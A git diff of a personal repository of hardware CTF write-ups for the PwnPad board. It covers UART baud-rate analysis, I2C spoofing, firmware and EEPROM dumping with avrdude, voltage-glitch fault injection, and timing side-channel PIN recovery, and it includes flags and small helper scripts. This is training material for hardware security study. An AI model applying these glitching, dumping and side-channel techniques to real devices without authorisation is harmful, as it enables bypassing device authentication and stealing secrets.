+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
+}
+
+// Called when the master writes to this slave
+void onReceive(int bytes) {
+ // Read and discard all incoming bytes so the master sees ACKs
+ while (Wire.available()) {
+ (void)Wire.read();
+ }
+
+ // Short LED flash to indicate a received transfer
+ digitalWrite(LED_BUILTIN, HIGH);
+ delay(40);
+ digitalWrite(LED_BUILTIN, LOW);
+}
\ No newline at end of file
diff --git a/docs/04_logic_01.png b/docs/04_logic_01.png
new file mode 100644
index 0000000..11e3729
--- /dev/null
+++ b/docs/04_logic_01.png
Binary files differ
diff --git a/01.md b/01.md
new file mode 100644
index 0000000..bee686a
--- /dev/null
+++ b/01.md
@@ -0,0 +1,23 @@
+# **Challenge 1: "Serial Snitch"**
+
+As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
+
+Your mission is clear:
+
+1. **Identify the UART pins** you've uncovered during your investigation.
+2. **Determine the correct baud rate** to establish a stable connection.
+3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
+
+## Setup
+
+
+
+## Notes
+
+The baudrate was a standard one, simply connecting the right wires and using the correct baudrate I was able to gain access (and the flag)
+
+Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
+
+It looks as follows:
+
+
\ No newline at end of file
diff --git a/02.md b/02.md
new file mode 100644
index 0000000..4a2fa20
--- /dev/null
+++ b/02.md
@@ -0,0 +1,46 @@
+# **Challenge 2: "Echo Chamber"**
+
+Following the success of your first infiltration, you've intercepted another device from the same syndicate. This one seems almost identical — same pinout, same behavior — but something’s off. Your usual tools can’t make sense of the UART output. It looks like the engineers behind this one were clever enough to **obfuscate communication by using a non-standard baud rate**.
+
+The challenge is a test of patience and precision. You'll need to **analyze the signal itself** to get in.
+
+**Your mission is clear:**
+
+1. **Identify the UART pins** using your probing tools.
+2. **Determine the correct (non-standard) baud rate** via signal analysis.
+3. **Establish a reliable terminal connection** and extract the flag from the interface.
+
+## Setup
+
+
+
+## Notes
+
+I started by running logic to capture the transmissions with the logic analyser
+
+
+
+Some simple math to determine the baud rate from the pulse width: (or ask chatGPT like I did)
+
+Baud rate calculation
+
+**Given:** Bit duration = 32 microseconds = 32 × 10⁻⁶ seconds
+
+**Formula:** Baud rate = 1 / bit duration
+
+**Calculation:** Baud rate = 1 / (32 × 10⁻⁶)\
+Baud rate = 31,250 baud
+
+**Answer:** 31,250 baud
+
+Whip up a quick glitch-o-bolt config: [02_GoB_config.py](docs/02_GoB_config.py)
+
+This results in:
+
+
+
+This could also be checked direcectly in logic:
+
+
+
+(Reading source I know the baud rate is supposed to be 31337)
\ No newline at end of file
diff --git a/03.md b/03.md
new file mode 100644
index 0000000..96d14fd
--- /dev/null
+++ b/03.md
@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
